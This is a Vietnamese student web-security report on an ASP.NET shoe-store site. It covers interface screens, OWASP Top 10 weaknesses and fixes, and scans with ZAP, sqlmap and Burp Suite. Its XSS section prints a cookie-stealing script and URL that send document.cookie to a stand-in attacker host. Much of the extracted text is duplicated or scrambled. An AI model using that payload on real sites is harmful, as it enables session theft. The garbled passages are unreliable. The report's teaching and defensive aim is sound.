BÁO CÁO CUỐI KỲ BẢO MẬT WEB WEBSITE BÁN GIÀY Nhóm thực hiện: 09 THÀNH PHỐ HỒ CHÍ MINH – 06/2020 MỤC LỤC 1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: 6 2. TRÌNH BÀY BÀI TẬP LỚN: 6 2.1. Mô tả phân công công việc 6 2.2. Thiết kế giao diện 7 2.2.1 Màn hình trang chủ 13 2.2.2 Màn hình đăng nhập 15 2.2.3 Màn hình chi tiết sản phẩm 15 2.2.4 Màn hình giỏ hàng 16 2.2.5 Màn hình xác nhận đơn hàng 17 2.2.6 Màn hình đơn đặt hàng (admin) 18 2.2.7 Màn hình chi tiết đơn đặt hàng (admin) 18 2.2.8 Màn hình chỉnh sửa đơn hàng (Admin) 19 2.2.9 Màn hình danh sách nhân viên (Admin) 19 2.2.10 Màn hình sửa thông tin nhân viên (Admin) 20 2.2.11 Màn hình đăng ký 20 2.2.12 Màn hình danh sách loại giay 21 2.2.13 Màn hình thêm loại giày 21 2.2.14 Màn hình sửa loại giày 22 2.2.15 Màn hình xem loại giày 22 2.2.16 Màn hình danh sách thương hiệu 23 2.2.17 Màn hình thêm thương hiệu 23 2.2.18 Màn hình sửa thương hiệu 24 2.2.19 Màn hình xem thương hiệu 24 2.2.20 Màn hình danh sách nhà cung cấp 25 2.2.21 Màn hình thêm nhà cung cấp 25 2.2.22 Màn hình sửa nhà cung cấp 26 2.2.23 Màn hình xem nhà cung cấp 26 2.2.24 Màn hình danh sách giày 27 2.2.25 Màn hình thêm giày 27 2.2.26 Màn hình sửa giày 28 2.2.27 Màn hình xem chi tiết giày 28 2.2.28 Màn hình đổi thông tin cá nhân 29 2.2.29 Màn hình đổi password 29 2.3. Đặc tả phần mềm 30 2.4. Thiết kế code 38 2.4.1. Danh mục các lớp được sử dụng trong chương trình 38 2.4.2.1. Bảng mô tả các phương thức trong lớp [AdminUsersController] 42 2.4.2.2. Bảng mô tả các phương thức trong lớp [BrandsController] 43 2.4.2.3. Bảng mô tả các phương thức trong lớp [OrderController] 44 2.4.2.4. Bảng mô tả các phương thức trong lớp [OrderDetailsController] 46 2.4.2.5. Bảng mô tả các phương thức trong lớp [ProvidersController] 47 2.4.2.6. Bảng mô tả các phương thức trong lớp [ProviderShoesController] 49 2.4.2.6. Bảng mô tả các phương thức trong lớp [ShoesController] 50 2.4.2.7. Bảng mô tả các phương thức trong lớp [ShoesTypeController] 52 2.5. Thiết kế CSDL 54 2.5.1. Mô hình diagram 54 2.5.2. Mô hình ERD 55 2.5.2.1 Bảng mô tả các trường trong bảng Providers 55 2.5.2.2. Bảng mô tả các trường trong ProviderShoes 56 2.5.2.3. Bảng mô tả các trường trong Brands 56 2.5.2.4. Bảng mô tả các trường trong ShoesTypes 56 2.5.2.5. Bảng mô tả các trường trong Shoes 57 2.5.2.6. Bảng mô tả các trường trong Orders 58 2.5.2.7. Bảng mô tả các trường trong OrderDetails 59 3. CÀI ĐẶT MÔI TRƯỜNG 59 3.1. Cài đặt Visual Studio 2019: 59 3.1.1. Download Visual Studio 2019 59 3.1.2. Cài đăṭ Visusal Studio 2020 60 3.2. Cài đặt SQL Server 2017 67 4. CHẠY CHƯƠNG TRÌNH: 73 5. CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT 76 5.1 SQL injection: 76 5.2 Broken Authentication 78 5.2.1 : Authentication Bypasses: 78 5.2.2 : JWT Tokens: 78 5.2.3 : Password reset: 78 5.2.4 : Secure password: 79 5.3 Sensitive Data Exposure 79 5.4 XML External Entities (XXE) 80 5.5 Broken Access Control: 81 5.6 Security Misconfiguration 82 5.7 Cross site Scripting(XSS) 83 5.8 Insecure Deserialization 85 5.9 Using Components with Known Vulnerabilities 86 5.10 Insufficent Logging &Monitoring 86 5.11. Denial of service 87 5.10.1 ZipBomb 88 5.11 : Các lỗi khi sử dụng ZAP 90 5.11.1 X-Frame-Option 90 5.12 Các lỗi khi sử dụng SQL MAP 91 5.13. Burp Suite 92 6. Thêm tính năng bảo mật cho trang WEB 93 7. Tài liệu tham khảo 94 BÁO CÁO ĐỒ ÁN MÔN LẬP TRÌNH WEB 1. MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: Mục đích: Tìm hiểu, phát hiện các lỗ hổng có thể tấn công vào trang web sau đó tiến hành kiểm thử và sửa lỗ hổng đó. Yêu cầu: Hiểu rõ được các hình thức tấn công, kiểm thử các tấn công đó và sửa thành công các lỗ hổng phát sinh Tổng quan về trang web: Trang web là môt trang web buôn bán giày. Người mua có thể đăt giày và để lại thông tin cá nhân và lịch hẹn khi đăt giày. Nhân viên cửa hàng dựa vào thông tin người mua và phân chia ai sẽ là người tiếp khách hàng. Nhân viên sẽ được cấp môt tài khoản dùng để đăng nhâp vào. Trang web khi đăng nhâp có hai loại tài khoản là Super Addmin và Admin. Super Admin có toàn quyền đối với trang trong khi Admin chỉ có xem đơn hàng mình đã được phân công và câp nhâṭ trên đơn hàng đó. 2. TRÌNH BÀY BÀI TẬP LỚN: 2.1. Mô tả phân công công việc Tên SV Đánh giá chung phần trăm đóng góp Mô tả khái quát mảng công việc SV thực hiện trong đồ án. Huỳnh Thị Kiều Oanh 50% Tâp̣ chung vào phần quản lý đơn hàng, và người dùng. Đăng Thị Thư 50% Tâp̣ trung vào quản lý các thông tin liên quan đến giày. SV hãy tự đánh giá mức độ hoàn thành được mục tiêu của project. Các khó khăn gặp phải, khắc phục thế nào, ý tưởng phát triển đồ án. Những khuyết điểm của đồ án. Những ưu điểm. 2.2. Thiết kế giao diện TT Màn hình chính/Cửa sổ/Dialog Người thiết kế & giải thích Mục đích 1 MH 1: Trang chủ Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Giao diện gồm 3 phần chính: phần đầu trang là tên, logo của trang, giỏ hàng và nơi đăng nhập. Tiếp theo là các loại giày và thanh tìm kiếm. Ở cuối trang là nơi hiển thị các bên đối tác. Hiển thị thông tin quan trọng nhất của trang web 2 MH 2: Màn hình đăng nhập Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Màn hình gồm phần chính là khung đăng nhập giữa màn hình, với 2 ô textbox, cho phép người dùng đăng nhập vào hệ thống với tên đăng nhập và mật khẩu đã đăng kí trước đó, và 1 button submit để xác nhận đăng nhập vào hệ thống Đăng nhập vào hệ thống 3 MH 3: Màn hình chi tiết sản phẩm Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Bao gồm các thông tin cơ bản của giày như: tên, màu sắc, kích cỡ, giá, hiệu… và hình ảnh mô tả sản Hiển thị thông tin của giày và cho khách hàng có thể thêm sản phẩm vào phẩm. Phía dưới thông tin của sản phẩm có nút để thêm vào giỏ hàng và quay lại trang chủ. giỏ hàng. 4 MH 4: Màn hình giỏ hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Hiển thị các sản phẩm mà khách hàng đã thêm vào giỏ hàng và đặt lịch hẹn. Bên cạnh mỗi sản phẩm có nút để bỏ sản phẩm đó ra khỏi giỏ hàn. Hiển thị các sản phẩm đã thêm vào giỏ hàng và đặt lịch hẹn. 5 MH 5: Màn hình xác nhận đơn hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai phần là lịch hẹn và thông tin của các sản phẩm đã mua. Cho khách hàng xác nhận lại các mặt hàng mình đã mua và lịch hẹn. 6 MH 6: Màn hình đơn đặt hàng (admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Hiển thị các đơn đặt hàng của khách. Gồm 2 phần chính là khung tìm kiếm và danh sách các đơn đặt hàng. Khung tìm kiếm có thể tìm theo tên, Email, số điện thoại, địa chỉ hay ngày hẹn. Bên cạnh mỗi đơn có ba nút để xem, sửa và xóa. Bên trái của màn hình là thanh menu để di chuyển giữa các mục. Hiển thị các đơn đặt hàng của khách. 7 MH 7: Màn hình chi tiết đơn đặt hàng (admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 2 phần bên trái là lịch hẹn của khách và bên phải là thông tin các sản phẩm của đơn hàng. Hiển thị toàn bộ thông tin của đơn hàng. 8 MH 8: Màn hình chỉnh sửa đơn hàng Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 2 phần: bên trái là các textbox để chỉnh sửa thông tin về lịch hẹn và bên phải là thông tin của sản Chỉnh sửa lại lịch hẹn và thông tin sản phẩm của đơn hàng. (Admin) phẩm. Phía bên dưới có nút Update để lưu lại hay Back to List để quay lại màn hình danh sách đơn hàng. 9 MH 9: Màn hình danh sách nhân viên (Admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng chứa các thông tin của nhân viên như tên, Email, số điện thoại và trạng thái hoạt động. Bên phải của mỗi nhân viên có hai nút để sửa và xóa Xem toàn bộ danh sách nhân viên. 10 MH 9: Màn hình sửa thông tin nhân viên (Admin) Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm 3 textbox hiển thị tên, Email và số điên thoại của nhân viên, chỉ sửa được tên và số điện thoại. Bên dưới là hai button để lưu và quay trở lại màn hình danh sách nhân viên Chỉnh sửa lại tên hoặc số điện thoại của nhân viên. 11 MH 11: Màn hình đăng ký Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Màn hình gồm các textbox để điền thông tin của account mới và checkbox để cấp quyền Super Admin, dưới cùng là button xác nhận đăng ký. Sau khi đăng ký thành công thì được chuyển về màn hình danh sách nhân viên. Đăng ký một tài khoảng mới. 12 MH 12: Màn hình danh sách loại giay Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng hiện thị danh sách các loại giày. Bên phải trên của bản là một button chuyển đến màn hình thêm loại giày mới. Bên phải của mỗi loại giày là ba button để xem, sửa và xóa. Hiển thị tất cả các loại giày. 13 MH 13: Màn hình Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox để nhập tên Thêm một lại giày mới thêm loại giày loại giày và hai button để lưu và quay trở lại trang danh sách loại giày 14 MH 14: Màn hình sửa loại giày Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox để nhập tên loại giày và hai button để lưu và quay trở lại trang danh sách loại giày Sửa lại tên của loại giày 15 MH 15: Màn hình xem loại giày Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một textbox hiện tên loại giày và hai button để chuyển đến trang sửa loại giày và quay trở lại trang danh sách loại giày Xem thông tin loại giày. 16 MH 16: Màn hình danh sách thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm một bảng hiện thị danh sách các loại giày. Bên phải trên của bản là một button chuyển đến màn hình thêm hiệu mới. Bên phải của mỗi loại thương hiệu là ba button để xem, sửa và xóa. Hiển thị tất cả các thương hiệu. 17 MH 17: Màn hình thêm thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button để lưu và quay trở lại trang danh sách thương hiệu. Thêm thương hiệu mới. 18 MH 18: Màn hình sửa thương hiệu Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button để lưu và quay trở lại trang danh sách thương hiệu. Sửa lại tên và quốc gia của thương hiệu. 19 MH 19: Màn hình xem Đặng Thị Thư và Huỳnh Thị Kiều Oanh. Gồm hai textbox hiện tên và quốc gia của thương hiệu và hai button Xem tên và quốc gia của thương hiệu.
GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT TP HỒ CHÍ MINH KHOA CƠNG NGHỆ THƠNG TIN BÁO CÁO CUỐI KỲ BẢO MẬT WEB WEBSITE BÁN GIÀY Nhóm thực hiện: 09 THÀNH PHỐ HỒ CHÍ MINH – 06/2020 HỌc ky :II Năm hỌc : 20192020 THÀNH PHỐ HỒ CHÍ MINH – 06/2020 GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC SƯ PHẠM KỸ THUẬT TP HỒ CHÍ MINH KHOA CƠNG NGHỆ THƠNG TIN BÁO CÁO CUỐI KỲ BẢO MẬT WEB WEBSITE BÁN GIÀY Nhóm thực hiện: 09 THÀNH PHỐ HỒ CHÍ MINH – 06/2020 MỤC LỤC MỤC ĐÍCH, YÊU CẦU, TỔNG QUAN: TRÌNH BÀY BÀI TẬP LỚN: 2.1 Mơ tả phân công công việc 2.2 Thiết kế giao diện 2.2.1 Màn hình trang chủ 13 2.2.2 Màn hình đăng nhập 15 2.2.3 Màn hình chi tiết sản phẩm 15 2.2.4 Màn hình giỏ hàng 16 2.2.5 Màn hình xác nhận đơn hàng 17 2.2.6 Màn hình đơn đặt hàng (admin) 18 2.2.7 Màn hình chi tiết đơn đặt hàng (admin) 18 2.2.8 Màn hình chỉnh sửa đơn hàng (Admin) 19 2.2.9 Màn hình danh sách nhân viên (Admin) 19 2.2.10 Màn hình sửa thơng tin nhân viên (Admin) 20 2.2.11 Màn hình đăng ký 20 2.2.12 Màn hình danh sách loại giay 21 2.2.13 Màn hình thêm loại giày 21 2.2.14 Màn hình sửa loại giày 22 2.2.15 Màn hình xem loại giày 22 2.2.16 Màn hình danh sách thương hiệu 23 2.2.17 Màn hình thêm thương hiệu 23 2.2.18 Màn hình sửa thương hiệu 24 2.2.19 Màn hình xem thương hiệu 24 2.2.20 Màn hình danh sách nhà cung cấp 25 2.2.21 Màn hình thêm nhà cung cấp 25 2.2.22 Màn hình sửa nhà cung cấp 26 2.2.23 Màn hình xem nhà cung cấp 26 2.2.24 Màn hình danh sách giày 27 2.2.25 Màn hình thêm giày 27 2.2.26 Màn hình sửa giày 28 2.2.27 Màn hình xem chi tiết giày 28 2.2.28 Màn hình đổi thơng tin cá nhân 29 2.2.29 Màn hình đổi password 29 2.3 Đặc tả phần mềm 30 2.4 Thiết kế code 38 2.4.1 Danh mục lớp sử dụng chương trình 38 2.4.2.1 Bảng mơ tả phương thức lớp [AdminUsersController] 42 2.4.2.2 Bảng mô tả phương thức lớp [BrandsController] 43 2.4.2.3 Bảng mô tả phương thức lớp [OrderController] 44 2.4.2.4 Bảng mô tả phương thức lớp [OrderDetailsController] 46 2.4.2.5 Bảng mô tả phương thức lớp [ProvidersController] 47 2.4.2.6 Bảng mô tả phương thức lớp [ProviderShoesController] 49 2.4.2.6 Bảng mô tả phương thức lớp [ShoesController] 50 2.4.2.7 Bảng mô tả phương thức lớp [ShoesTypeController] 52 2.5 Thiết kế CSDL 54 2.5.1 Mơ hình diagram 54 2.5.2 Mơ hình ERD 55 2.5.2.1Bảng mơ tả trường bảng Providers 55 2.5.2.2 Bảng mô tả trường ProviderShoes 56 2.5.2.3 Bảng mô tả trường Brands 56 2.5.2.4 Bảng mô tả trường ShoesTypes 56 2.5.2.5 Bảng mô tả trường Shoes 57 2.5.2.6 Bảng mô tả trường Orders 58 2.5.2.7 Bảng mô tả trường OrderDetails 59 CÀI ĐẶT MÔI TRƯỜNG 59 3.1 Cài đặt Visual Studio 2019: 3.1.1.Download Visual Studio 2019 3.1.2.Cài đăt Visusal Studio 2020 3.2 Cài đặt SQL Server 2017 59 59 60 67 CHẠY CHƯƠNG TRÌNH: 73 CÁC LỖI BẢO MẬT – NGUYÊN NHÂN – GIẢI PHÁP NGĂN CHẶN CŨNG NHƯ CHỈNH SỬA CÁC LỖI XUẤT HIỆN TRONG PROJECT 76 5.1 SQL injection: 76 5.2 Broken Authentication 78 5.2.1 : Authentication Bypasses: 78 5.2.2 : JWT Tokens: 78 5.2.3 : Password reset: 78 5.2.4 : Secure password: 79 5.3 Sensitive Data Exposure 79 5.4 XML External Entities (XXE) 80 5.5 Broken Access Control: 81 5.6 Security Misconfiguration 82 5.7 Cross site Scripting(XSS) 83 5.8 Insecure Deserialization 85 5.9 Using Components with Known Vulnerabilities 86 5.10 Insufficent Logging &Monitoring 86 5.11 Denial of service 87 5.10.1 ZipBomb 88 5.11: Các lỗi sử dụng ZAP 5.11.1 X-Frame-Option 90 90 5.12 Các lỗi sử dụng SQL MAP 91 5.13 Burp Suite 92 Thêm tính bảo mật cho trang WEB 93 Tài liệu tham khảo 94 BÁO CÁO ĐỒ ÁN MƠN LẬP TRÌNH WEB MỤC ĐÍCH, U CẦU, TỔNG QUAN: Mục đích: Tìm hiểu, phát lỗ hổng cơng vào trang web sau tiến hành kiểm thử sửa lỗ hổng u cầu: Hiểu rõ hình thức cơng, kiểm thử cơng sửa thành công lỗ hổng phát sinh Tổng quan trang web: Trang web môt trang web buôn bán giày Người mua giày để lại thơng tin cá nhân lịch hẹn đăt giày Nhân viên cửa đăt hàng dựa vào thông tin người mua phân chia se người tiếp khách hàng Nhân viên se cấp môt tài khoản dùng để đăng vào Trang web đăng nhâp nhâp có hai loại tài khoản Super Addmin Admin Super Admin có tồn quyền đới với trang Admin có xem đơn hàng đa phân cơng câp nhât đơn hàng TRÌNH BÀY BÀI TẬP LỚN: 2.1 Mô tả phân công công việc Tên SV Đánh giá chung Mô tả khái quát mảng công việc phần trăm đóng góp SV thực đồ án Huỳnh Thị Kiều Oanh 50% Tâpp chung vào phần quản lý đơn hàng, người dùng Đăng Thị Thư 50% Tâpp trung vào quản lý thông tin liên quan đến giày SV hay tự đánh giá mức độ hồn thành mục tiêu project Các khó khăn gặp phải, khắc phục nào, ý tưởng phát triển đồ án Những khuyết điểm đồ án Những ưu điểm 2.2 Thiết kế giao diện TT Màn hình Người thiết kế & giải thích chính/Cửa sổ/Dialog MH 1: Đặng Thị Thư Huỳnh Thị Kiều Hiển thị thông tin Trang chủ Oanh Giao diện gồm phần chính: quan trọng phần đầu trang tên, logo trang, trang web giỏ hàng nơi đăng nhập Tiếp theo loại giày tìm kiếm Ở cuối trang nơi hiển thị bên đối tác MH 2: Đặng Thị Thư Huỳnh Thị Kiều Đăng nhập vào hệ Màn hình Oanh Màn hình gồm phần thớng đăng nhập khung đăng nhập hình, với textbox, cho phép người dùng đăng nhập vào hệ thống với tên đăng nhập mật đa đăng kí trước đó, button submit để xác nhận đăng nhập vào hệ thống MH 3: Màn hình chi tiết sản phẩm Đặng Thị Thư Huỳnh Thị Kiều Oanh Bao gồm thông tin giày như: tên, màu sắc, kích cỡ, giá, hiệu… hình ảnh mơ tả sản Mục đích Hiển thị thơng tin giày cho khách hàng thêm sản phẩm vào phẩm Phía thơng tin sản giỏ hàng phẩm có nút để thêm vào giỏ hàng quay lại trang chủ MH 4: Đặng Thị Thư Huỳnh Thị Kiều Màn hình Oanh Hiển thị sản phẩm mà khách giỏ hàng hàng đa thêm vào giỏ hàng đặt lịch hẹn Bên cạnh sản phẩm có nút để bỏ sản phẩm khỏi giỏ hàn Hiển thị sản phẩm đa thêm vào giỏ hàng đặt lịch hẹn MH 5: Đặng Thị Thư Huỳnh Thị Kiều Màn hình Oanh Gồm hai phần lịch hẹn xác nhận thông tin sản phẩm đa mua đơn hàng Cho khách hàng xác nhận lại mặt hàng đa mua lịch hẹn MH 6: Màn hình đơn đặt hàng (admin) Đặng Thị Thư Huỳnh Thị Kiều Hiển thị đơn đặt Oanh Hiển thị đơn đặt hàng hàng khách khách Gồm phần khung tìm kiếm danh sách đơn đặt hàng Khung tìm kiếm tìm theo tên, Email, sớ điện thoại, địa hay ngày hẹn Bên cạnh đơn có ba nút để xem, sửa xóa Bên trái hình menu để di chuyển mục MH 7: Màn hình chi tiết đơn đặt hàng (admin) Đặng Thị Thư Huỳnh Thị Kiều Hiển thị toàn Oanh Gồm phần bên trái lịch hẹn thông tin đơn khách bên phải thông tin hàng sản phẩm đơn hàng MH 8: Màn hình chỉnh sửa đơn hàng Đặng Thị Thư Huỳnh Thị Kiều Chỉnh sửa lại lịch Oanh Gồm phần: bên trái hẹn thông tin sản textbox để chỉnh sửa thông tin lịch phẩm đơn hàng hẹn bên phải thơng tin sản (Admin) phẩm Phía bên có nút Update để lưu lại hay Back to List để quay lại hình danh sách đơn hàng MH 9: Màn hình danh sách nhân viên (Admin) Đặng Thị Thư Huỳnh Thị Kiều Xem toàn danh Oanh Gồm bảng chứa thông sách nhân viên tin nhân viên tên, Email, số điện thoại trạng thái hoạt động Bên phải nhân viên có hai nút để sửa xóa 10 MH 9: Màn hình sửa thơng tin nhân viên (Admin) Đặng Thị Thư Huỳnh Thị Kiều Chỉnh sửa lại tên Oanh Gồm textbox hiển thị tên, số điện thoại Email số điên thoại nhân viên, nhân viên sửa tên số điện thoại Bên hai button để lưu quay trở lại hình danh sách nhân viên 11 MH 11: Đặng Thị Thư Huỳnh Thị Kiều Đăng ký tài Màn hình Oanh Màn hình gồm textbox để khoảng đăng ký điền thông tin account checkbox để cấp quyền Super Admin, cùng button xác nhận đăng ký Sau đăng ký thành công chuyển hình danh sách nhân viên 12 MH 12: Màn hình danh sách loại giay 13 MH 13: Đặng Thị Thư Huỳnh Thị Kiều Thêm lại giày Màn hình Oanh Gồm textbox để nhập tên Đặng Thị Thư Huỳnh Thị Kiều Hiển thị tất Oanh Gồm bảng thị danh loại giày sách loại giày Bên phải button chuyển đến hình thêm loại giày Bên phải loại giày ba button để xem, sửa xóa thêm loại loại giày hai button để lưu quay giày trở lại trang danh sách loại giày 14 MH 14: Đặng Thị Thư Huỳnh Thị Kiều Sửa lại tên loại Màn hình Oanh Gồm textbox để nhập tên giày sửa loại loại giày hai button để lưu quay giày trở lại trang danh sách loại giày 15 MH 15: Đặng Thị Thư Huỳnh Thị Kiều Xem thơng tin loại Màn hình Oanh Gồm textbox tên loại giày xem loại giày hai button để chuyển đến trang giày sửa loại giày quay trở lại trang danh sách loại giày 16 MH 16: Màn hình danh sách thương hiệu Đặng Thị Thư Huỳnh Thị Kiều Hiển thị tất Oanh Gồm bảng thị danh thương hiệu sách loại giày Bên phải button chuyển đến hình thêm hiệu Bên phải loại thương hiệu ba button để xem, sửa xóa 17 MH 17: Màn hình thêm thương hiệu Đặng Thị Thư Huỳnh Thị Kiều Thêm thương hiệu Oanh Gồm hai textbox tên quốc gia thương hiệu hai button để lưu quay trở lại trang danh sách thương hiệu 18 MH 18: Màn hình sửa thương hiệu Đặng Thị Thư Huỳnh Thị Kiều Sửa lại tên quốc Oanh Gồm hai textbox tên gia thương hiệu quốc gia thương hiệu hai button để lưu quay trở lại trang danh sách thương hiệu 19 MH 19: Đặng Thị Thư Huỳnh Thị Kiều Xem tên q́c gia Màn hình Oanh Gồm hai textbox tên thương hiệu xem quốc gia thương hiệu hai button p trang Web Gi ải ph áp : K hi th ực hi ên chức đa phân quyền hay chức liên quyền quan người dùng đến Databa trước se cần có bơ p lọc nhằm xác nhân thực hiê pchức Project: cách Vấn đề cẩn thân, trang web bọn em quản lý môt đăng nhập vào hệ thống thông tin user lưu session (Phiên làm việc) Mỗi user thực thao tác đó, quyền hạn user kiểm tra, ko quyền hạn user xuất hiên thông báo “Access Denied” nhằm thông báo chức không phép Và quyền hạn chức xuất hệ thớng cịn lại śt với người dùng Với trường hợp đăng se yêu người dùng chưa thực hiên nhâp cầu người dùng đăng nhâp vào [Area("Admin")] [Authorize(Roles = SD.SuperAdminEndUser)] public class BrandsController : Controller { private readonly ApplicationDbContext _db; public BrandsController(ApplicationDbContext { _db = db; Khi cố chức khơng có thơng báo gắng thực quyền se xuất hiên hiên V ấ n đ ề : V i ệ c c ấ u h ì n h b ả o m ậ t c h o 5.6 Security Misconfiguration c h ng trình quan trọng Một chương trình mà việc cấu hình mật định khơng đủ độ an tồn, khơng hồn thiện, việc lưu trữ cloud không bảo mật hay việc thông báo lỗi cho người dùng kèm theo thông tin quan trọng nơi mà kẻ cơng lợi dụng 5.7 Giải pháp: Kiểm tra việc cấu hình bảo mật cho phần chương trình, kiểm tra quyền lưu trữ, gửi khuyến cáo bảo mậtcho người dùng Project: Project nhóm đa hồn thiện cấu hình bảo mật cho phần hệ thống, tin nhắn thông báo cho người dùng đa kiểm tra không chứa thông tin bảo mật hệ thống Cross site Scripting(XSS) XSS lỗ hổng ứng dụng web, kẻ công se chèn ma độc thông qua đoạn script để thực thi phía client Thơng thường công XSS dùng để vượt qua kiểm sốt truy cập mạo danh XSS có loại: Reflected XSS Với cách kẻ cơng se gửi cho nạn nhân đoạn URL có chứa đoạn ma nguy hiểm, nạn nhân cần gửi request đến URL kẻ cơng đạt mục đích cụ thể chế sau: Người dùng đăng nhập vào trang web, giả sử gán Session Set-Cookies: sessionID = kzdomeoipndfgjiodn Bằng cách kẻ cơng se gửi cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hackersite.net/”%2bdocument.cookie; Trong example.com trang người dùng truy cập, hacker-site.com trang kẻ công muốn người dùng đên Sau nạn nhân truy cập vào URL này: đoạn script se thực thi server trả cho nạn nhân kèm theo liệu đoạn script phiên làm việc nạn nhân Đoạn script thực chất sau: var i=new Image; i.src=”http://hacker-site.com/”+document.cookie; Dòng lệnh chất thực request đến site kẻ công với tham số cookie người dùng GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.com Store XSS: Store XSS xảy không kiểm tra ky đầu vào trước đưa vào CSDL dẫn đến CSDL lưu đoạn Script công Khi người dùng truy câpp vào nơi dung đoạn Script se thực thi brower Không giống Reflected công vào đới tượng Stored XSS cơng nhiều người Cơ chế: Đầu tiên hacker se thông qua điểm đầu vào (form, input, textarea…) không kiểm tra ky để chèn vào CSDL đoạn ma nguy hiểm Khi người dùng truy cập vào ứng dụng web thực thao tác liên quan đến liệu lưu này, đoạn ma hacker se thực thi trình duyệt người dùng Hình ảnh minh họa DOM Base XSS DOM Based XSS ky thuật khai thác XSS dựa việc thay đổi cấu trúc DOM tài liệu, cụ thể HTML Cơ chế: Một website có URL đến trang đăng ký sau: http://example.com/register.php?message=Please fill in the form Parametter message thay Please fill in the form kẻ cơng thay đổi cấu trúc sau message=GenderMaleFemalefunction show(){alert();} cấu trúc trang HTML đa bị thay đổi, form đăng nhập nạn nhân thay đổi ngoạn mục Cách khắc phục: • Chỉ chấp nhận liệu hợp lệ • Từ chới nhận liệu hỏng • Liên tục kiểm tra lọc liệu • Tạo danh sách thẻ HTML phép sử dụng, xóa bỏ thẻ , coi đoạn script đoạn trích dẫn lỗi • Lọc dấu nháy đơn hay nháy kép • Xóa kí tự “>”, “ { context.Response.Headers.Add("X-Frame-Options", "DENY"); await next(); }); 5.11.2 Absence of Anti-CSRF Tokens Giả mạo yêu cầu nhiều trang web công liên quan đến việc giả mạo nạn nhân gửi yêu cầu HTTP đến server mà khơng có kiến thức ý định họ để thực hành động với tư cách nạn nhân Project: project qua trình quét ZAP xuất lỗi Các khắc phục: thêm thuộc tính antiforgery cho form 5.12 Các lỗi sử dụng SQL MAP Thử lần 1: level risk Thử lần 2: level risk2 Thử lần 3: level risk Thử lần với tamper: Thử lần 5: level 5, risk Kết luận Sqlmap không quét lỗi 5.13 Burp Suite Burp Suite công cụ pentest ứng dụng web Đây công cụ “ăn sẵn” Acunetix, mà hỗ trợ sớ việc cho tester q trình pentest Bất kỳ sử dụng Burp Suite để kiểm thử ứng dụng web Nhóm chúng em đa sử dụng tool Brup suite để qt trang web kết khơng tìm thấy lỗ hổng bảo mật, có cảnh báo thấp Thêm tính bảo mật cho trang WEB Trong project để nâng tính bảo mật, nhóm đa nâng cấp giao thức trang web từ HTTP lên HTTPS HTTPS giao thức truyền tải siêu văn an toàn Đây thực chất giao thức HTTP bổ xung SSL (chứng an tồn) nhằm ma hóa thơng tin nên HTTPS bảo mât HTTP Có thể hiểu, HTTPS phiên HTTP an toàn, bảo mật Sự khác HTTP HTTPS: o Chứng SSL HTTPS giao thức HTTP với bảo mật bổ sung Dù bạn sử dụng máy tính cá nhân hay cơng cộng, tiêu chuẩn SSL se đảm bảo liên lạc máy khách máy chủ an tồn, chớng bị dịm ngó o Port HTTP HTTPS Giao thức HTTP sử dụng Port 80, HTTPS sử dụng Port 443 Port 443 port hỗ trợ ma hóa kết nới từ máy tính client đến server Cơ chế: Khi máy khách truy cập website, giao thức HTTPS se hỗ trợ xác thực tính đích danh website thơng qua việc kiểm tra xác thực bảo mật (Security Certificate) cấp Certificate Authority (CA) CA tổ chức phát hành chứng thực loại chứng thư số cho người dùng, doanh nghiệp, máy chủ, ma nguồn, phần mềm Các tổ chức đóng vai trị bên thứ ba, hai bên tin tưởng để hỗ trợ trình trao đổi thơng tin an tồn Nâng cấp lên HTTPS: cấu hình server deploy Khi chạy trang web localhost với IIS Express port 44362 trang web đa chạy HTTPS nhóm deploy lên azure hỗ trợ HTTPS Kết nâng từ HTTP lên HTTPS: Tài liệu tham khảo o o o o Cơ chế HTTPS: https://cystack.net/vi/resource/http-va-https-la-gi/ WebGoat https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/ https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat _Sheet o https://securitydaily.net/ky-thuat-khai-thac-xss-phan-1-reflected-xss/ o https://securitydaily.net/cac-kieu-khai-thac-xss-phan-2-stored-xss/ ... 2. 2 .22 Màn hình sửa nhà cung cấp 26 2. 2 .23 Màn hình xem nhà cung cấp 26 2. 2 .24 Màn hình danh sách giày 27 2. 2 .25 Màn hình thêm giày 27 2. 2 .26 Màn hình sửa giày 28 2. 2 .27 Màn hình xem chi tiết giày. .. (Admin) 20 2. 2.11 Màn hình đăng ký 20 2. 2. 12 Màn hình danh sách loại giay 21 2. 2.13 Màn hình thêm loại giày 21 2. 2.14 Màn hình sửa loại giày 22 2. 2.15 Màn hình xem loại giày 22 2. 2.16 Màn hình... sách giày 2. 2 .25 Màn hình thêm giày 2. 2 .26 Màn hình sửa giày 2. 2 .27 Màn hình xem chi tiết giày 2. 2 .28 Màn hình đổi thơng tin cá 